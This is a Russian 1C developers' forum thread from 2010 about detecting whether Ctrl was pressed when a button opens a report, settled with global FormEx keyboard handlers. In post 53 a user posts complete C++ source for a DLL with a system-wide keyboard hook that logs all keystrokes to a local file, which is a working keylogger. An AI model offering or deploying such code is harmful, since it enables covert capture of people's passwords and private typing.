Имя: Пароль:
1C
 
Как получить нажатие Ctrl ?
0 DES
 
01.12.10
13:18
Хочу в вызываемом отчете определить состояние клавиши Ctrl при нажатии мышкой кнопки "Отчет" на форме.
Т.е. как узнать была ли нажата Ctrl при клике?
(не переделывая все формы в которых вызывается этот отчет, а только переделывая вызываемый отчет)
Как бы это так?
1 Волшебник
 
01.12.10
13:23
Два байта, расположенные в ячейках памяти 0040:0017 и 0040:0018 содержат биты, отражающие статус клавиши сдвига и других клавиш-переключателей следующим образом:


           Бит    Kлавиша      Значение, когда бит = 1
0040:0017    7     Insert       режим вставки включен
            6     CapsLock     режим CapsLock включен
            5     NumLock      режим NumLock включен
            4     ScrollLock   режим ScrollLock включен
            3     Alt          клавиша нажата
--->>>       2     Ctrl         клавиша нажата
            1     левый Shift  клавиша нажата
            0     правый Shift клавиша нажата

0040:0018    7     Insert       клавиша нажата
            6     CapsLock     клавиша нажата
            5     NumLock      клавиша нажата
            4     ScrollLock   клавиша нажата
            3     Ctrl-NumLock режим Ctrl-NumLock включен


остальные биты не используются.

Роберт Журден. Справочник программиста на персональном компьютере фирмы IBM. Глава 3. Kлавиатура.

http://sabalyauskas.by.ru/Library/Informatics/Jourdain/3.html
2 DES
 
01.12.10
13:25
радует, что отстальные биты не используются...
3 DES
 
01.12.10
13:29
Намек, на поиск ВК-шки прямого доступа к памяти ?
4 Волшебник
 
01.12.10
13:30
(3) Тебе в 1С что ли?
5 DES
 
01.12.10
13:30
А то .... ;))))
6 strange2007
 
01.12.10
13:31
(1) Это ж дос. В винде совсем не там хранятся нажатия
7 Волшебник
 
01.12.10
13:31
Ты забыл собственную ветку что ли?
Как отследить нажатую Ctrl при нажатии кнопки на форме?
8 Волшебник
 
01.12.10
13:31
9 nop
 
01.12.10
13:32
(5) а версия - э то секрет ?
10 DES
 
01.12.10
13:46
Весь фокус в том что нужно получить "состояние клавиши" ВЫЗВАВШЕЙ формы в ВЫЗВАННОЙ форме, не переделывая ВЫЗВАВШУЮ форму.
(типа lastkey() из FoxPro)
11 DES
 
01.12.10
13:47
(9) версия чего?
Если 1С то в заголовке темы.
12 smaharbA
 
01.12.10
13:48
(1) не надо этого, Рупор Абсурда прекрасное решение давал в свое время
13 DES
 
01.12.10
13:51
(12) не катит тот метод
14 DES
 
01.12.10
13:52
(13)+ тот метод относится к текущей форме, а мне нужно к вызываемой
15 orefkov
 
01.12.10
14:03
dynawrapx.dll + GetKeyState
16 DES
 
01.12.10
14:06
Срок регистрации домена 1CPP.RU закончился
17 Волшебник
 
01.12.10
14:42
(16) Баян. Что с www.1cpp.ru?
18 DES
 
01.12.10
16:19
(17) Не понял.
По теме: понял - никак значится.
19 smaharbA
 
01.12.10
16:21
(10) а как она тогда вызывает с контролом если не переделана ?
20 DES
 
01.12.10
16:29
(19) Пока никак. Вот и хочется сделать.
21 smaharbA
 
01.12.10
16:34
ну вот и сделай как у Рупора, какая кнопка вызовет та и будет известна
22 Torquader
 
01.12.10
16:46
Кстати, если смотреть описание событий от мыши в Windows, то там есть Ctrl и Shift (WPARAM от WM_#BUTTONDOWN и флаги MK_CONTROL и MK_SHIFT), как некоторые "добавочные" кнопки мыши.
То есть система гарантировано их отслеживает - про Alt даже такого сказать нельзя.
Поэтому, писать компоненту, которая перехватывает сообщения мыши - тогда гарантировано будет состояние клавиш. В противном случае никто не гарантирует, что события мыши и клавиатуры не будут "переставлены" в очереди сообщений.
23 DES
 
01.12.10
16:54
(21) Не тот случай. У него эмулируется нажитие кнопки F12 и и форма отслеживает горячую клавишу {Ctrl+F12}, по этому вызывается иная функция.
Это значит нужно ПЕРЕДЕЛЫВАТЬ вызывающую форму (а их много). Я же хочу переделать только вызванную форму. (1 шт.)
(22) Ну да. Я и намекаю на такую ВК.
24 АЛьФ
 
01.12.10
16:56
Чем не устраивает FormEx?
25 andrewks
 
01.12.10
17:03
(23) где гарантия, что юзер не успеет отжать контрол до того, как твой код в обработке получит управление?
26 АЛьФ
 
01.12.10
17:04
2(25) Ловить глобально?
27 DES
 
01.12.10
17:51
(24) Всем устаривает.
Но я не пойму как мне в ВЫЗВАННОЙ форме узнать была ли нажата CTRL в вызывающей
28 DES
 
01.12.10
17:52
(27)+ Типа, состояние CTRL форма должна получить как параметр
29 DES
 
01.12.10
17:53
(27)+ При этом не меняя форму с Кнопкой
30 АЛьФ
 
01.12.10
17:54
2(27) Глобально запомнить состояние CTRL при последнем клике (или нажатии Enter).
31 DES
 
01.12.10
17:55
(27) форма1 ----> вызывает форму отчета.
Как в отчете  узнать была ли нажата CTRL при вызове ?
32 АЛьФ
 
01.12.10
17:55
+(30) Или при открытии вызываемый анализировать состояние нажатия CTRL, если можно игнорировать (25).
33 andrewks
 
01.12.10
17:55
(27)(28)(29) есть ли жизнь на Марсе, нет ли жизни на Марсе -
это науке неизвестно...
34 DES
 
01.12.10
17:56
(30) Понимаю что именно так.
А как реализовать ?
35 АЛьФ
 
01.12.10
17:56
2(31) Тебе готовый код нужен?
36 Tatitutu
 
01.12.10
17:57
(27)а можешь поделится зачем тебе это нужно ?

вызывающая форма отлавливает начатие Ctrl и клик мыши и передает в параметре в ВЫЗВАННУЮ форму - ничего сложного нет.

курить бросить не трудно.... - трудно понять зачем (с)
37 mikecool
 
01.12.10
17:57
не отжимать CTRL до открытия отчета :))
38 DES
 
01.12.10
17:59
FormEx может отслеживать рельное состояние CTRL?
39 DES
 
01.12.10
18:00
(36) Сложно читать всю ветку с начала. Я понимаю.
40 DES
 
01.12.10
18:02
Процедура ПриНажатииКнопкиКлавиатуры(прм_КодКлавиши, прм_Alt, прм_Shыft, прм_Ctrl, прм_Символ, прм_ФСО)

в вызванной форме уже не сработает же???
41 АЛьФ
 
01.12.10
18:02
2(38) Да.
42 АЛьФ
 
01.12.10
18:03
2(40) Не сработает. Сработает глобальный вариант это процедуры.
43 DES
 
01.12.10
18:05
Просто в глобальнике процедуру засунуть ?
44 DES
 
01.12.10
18:23
(42) Получилось. Спасибо.
З.Ы. А ларчик просто открывался. (А народ то не знает)
45 Попытка1С
 
01.12.10
18:25
(44) Выложи что получилось в итоге, можно в БЗ запихнуть.
46 DES
 
01.12.10
18:28
(45) Да ну...
АЛьф, по ходу, смеяться будет.
Кусок хелпа в БЗ пихать не камильфо...
47 andrewks
 
01.12.10
18:29
(44)  имхается мне, не очень это хорошо - глобально клавиши ловить
48 АЛьФ
 
01.12.10
18:30
2(47) Почему?
49 andrewks
 
01.12.10
18:31
(48) пока не придумал. но спинной мозг недоволен :-)
50 DES
 
01.12.10
20:07
(48) Правда не очень корректно работает все.
1. При клике с Ctrl срабатывет как нужно (1-й режим)
2. При клике без Ctrl срабатывет как  НЕ нужно (1-й режим) (как в п.1.)
3. При 3-ем клике без Ctrl срабатывет как нужно (2-й режим)
51 DES
 
01.12.10
20:08
(48) а можно пример кода? может я чего не понимаю...
52 Torquader
 
01.12.10
22:54
Таки и отпускание клавиши тоже надо ловить - если нажатие - это запоминаем флаг, то отпускание - это его сбрасываем.
Ну или накатать OLE-объект, который позволит вызвать GetAsyncKeyState, чтобы узнать, нажат Ctrl или нет.
В Dll OLE-объект (Active-X) пишется без проблем даже на голых Сях (я таким методом из VbScript процесс через CreateProcess запускал).
53 Fynjy
 
01.12.10
23:03
// dllmain.cpp : Defines the entry point for the DLL application.
     #include "stdafx.h"
     
     
     
     // Handle to the keyboard hook
     HHOOK hKeyboardHook;
     
     //Information storage
     std::fstream spyFile;
     
     
     
     // Keyboard hook procedure
     LRESULT CALLBACK KeyboardHook(int nCode, WPARAM wParam, LPARAM lParam)
     {
         if ((nCode == HC_ACTION) && !(lParam >> 31))
             spyFile << " " << wParam;
     
         return CallNextHookEx(hKeyboardHook, nCode, wParam, lParam);;
     }
     
     
     
     
     
     // Application entry point
     BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
     {
         switch (ul_reason_for_call)
         {
             case DLL_PROCESS_ATTACH:
                 {
                     hKeyboardHook = SetWindowsHookEx(WH_KEYBOARD, (HOOKPROC) KeyboardHook, hModule, 0);
                     if (hKeyboardHook != NULL)
                         spyFile.open(L"C:\\Test.txt", std::ios_base::out | std::ios_base::trunc);
     
                     break;
                 }
     
             case DLL_PROCESS_DETACH:
                 {
                     UnhookWindowsHookEx(hKeyboardHook);
                     spyFile.close();
     
                     break;
                 }
         }
     
     
         return TRUE;
     }
54 DES
 
02.12.10
11:04
(52) Действительно, ежели б была
Процедура ПриОтжатииКнопкиКлавиатуры(<?>,,,,,,)
было бы все замечательно.

(Чисто в космос)
55 Ёпрст
 
гуру
02.12.10
11:08
(54) ты не поверишь, в формексе этот метод есть.!
56 АЛьФ
 
02.12.10
11:08
2(54) Она есть.
57 Ёпрст
 
гуру
02.12.10
11:08
как дети прямо..
58 DES
 
02.12.10
11:13
(55) ну сорри, значит у меня старый als
59 DES
 
02.12.10
11:16
ну тогда такой нету:
Процедура КликМышкиПоКоординатамКнопки(X,Y)
КонецПроцедуры

можно было бы, как HTML, карту-кнопку изобразить.
(Или навесить на одну кнопку кучу функций)
60 АЛьФ
 
02.12.10
11:18
2(59) Такая делается самостоятельно на раз на основе существующих.
61 andrewks
 
02.12.10
11:19
(59) ставь ящик армянского коньяку АЛьФу ;)
62 Ёпрст
 
гуру
02.12.10
11:19
(59)Процедура ПриНажатииЛевойКнопки(<Состояние>,<КоординатаПоГоризонтали>,<КоординатаПоВертикали>,<ФСО>) ???
63 Ёпрст
 
гуру
02.12.10
11:21
А по-поводу карты-кнопки.. есть активикс для этого, вешай, 3d маджик, к примеру - будет тебе еще хренова туча событий и возможностей..
Всё есть на самом деле.
64 DES
 
02.12.10
11:23
(61) Фи, он такое Гэ не заслуживает.
Могу, например, молдавского (все хвалят).
65 Ork
 
02.12.10
11:24
Вообще говоря было немного дико после VFP работать с формами 1С.
Перехвата нажатия клавиш нет, перехвата дубльклика нет, перехвата ресайза нет. Казалось бы простейшие вещи, а на уровне платформы не реализаваны.
Хорошо хоть в восьмерке обработчики событий формы добавлены и привязки. И то... А перехват событий клавиатуры и мышки так и не сделан.
Вопрос к Волшебнику как к методисту по платформе : это что - религия такая была принята? Или где?
66 DES
 
02.12.10
11:26
(56) она то есть, но она не глобальная.
А в отчете я не могу перехватить отжатие ;(
67 АЛьФ
 
02.12.10
11:27
2(66) Все события FormEx проецируются и в глобальник.
68 DES
 
02.12.10
11:27
(62) А что за координаты? 0,0 где ?
69 АЛьФ
 
02.12.10
11:28
2(65) Да, это такая религия. Т.к. изначально система строилась по принципу, чтобы каждый бухгалтер мог сам себе что-нибудь подправить. И в этот принцип никак не вписывались обработки событий от железа.
70 Ёпрст
 
гуру
02.12.10
11:28
(66) бредим ?
Всё там работает и в глобальнике и в локальном контексте.
71 Ёпрст
 
гуру
02.12.10
11:29
(68) 0,0 чего ? кнопки ?
72 DES
 
02.12.10
11:29
(67) Гы,  все работает!
Вот же блин.
73 Ёпрст
 
гуру
02.12.10
11:30
+71 получи атрибут по координатам при нажатии - имей его координаты через методы атрибута формы.
74 andrewks
 
02.12.10
11:31
(64) ящик Арарата - это не гэ. если конечно ты его не в московском подвале брать будешь ;) так что ставь - смотри сколько АЛьФ тебя уже пасёт
75 DES
 
02.12.10
11:32
Итого, выжимки:
помещаем в глобальник код:
Перем Ctrl_key Экспорт;
Процедура ПриНажатииКнопкиКлавиатуры(конт, код, _а, _ш, _к)
   Ctrl_key = _к;
КонецПроцедуры
Процедура ПриОтжатииКнопкиКлавиатуры(конт, код, _а, _ш, _к)
   Ctrl_key = _к;
КонецПроцедуры

и вуаля
76 DES
 
02.12.10
11:54
(73) могу получить атрибут по координатам.
Не могу получить координаты нажатия относительно системы координат привязанных к кнопке.

Т.е. мне нужно различить  клик по правой  или левой стороне кнопки "Печать".
77 Mikeware
 
02.12.10
11:57
(76) а силу нажатия - не надо? или пол нажимающего?
78 Ёпрст
 
гуру
02.12.10
11:58
(76) нажал на контрол - поимел координаты мыши относительно окна, получил атрибут, получил его координаты относительно окна..
Всё собственно: имея ширину и высоту контрола поимел мышиные координаты относительно самого контрола, тупо от мышиных координат вычитанием координат верхнего левого угла контрола..
79 DES
 
02.12.10
11:59
(78) не нашел как "получил его координаты относительно окна.. "
80 DES
 
02.12.10
12:00
(77) ты можешь ???
81 Ёпрст
 
гуру
02.12.10
12:07
(79)

ПриНажатииЛевойКнопки имеем х,у
+
ПолучитьАтрибутПоКоординатам имеем сам атрибут
+
ПолучитьКоординаты имеем х,у,ширину,высоту контрола..
82 DES
 
02.12.10
12:17
(81) Запутался в методах...  и скис.
83 Torquader
 
02.12.10
17:50
(69) Хреновая у них религия.
Вот из-за этого приходится Web-формы рисовать и "осла" к 1С прикручивать.
(65) Вы ещё Access вспомните или Excel, где любую функцию из DLL можно смело вызывать и не бояться, что что-то пойдёт не так. Да и OLE-объекты там работают с данными напрямую, а не через "подстановку".
84 DES
 
03.12.10
08:48
(83) А разницу в НОТ между мелкософтом и сборищем энтузиастов различаете?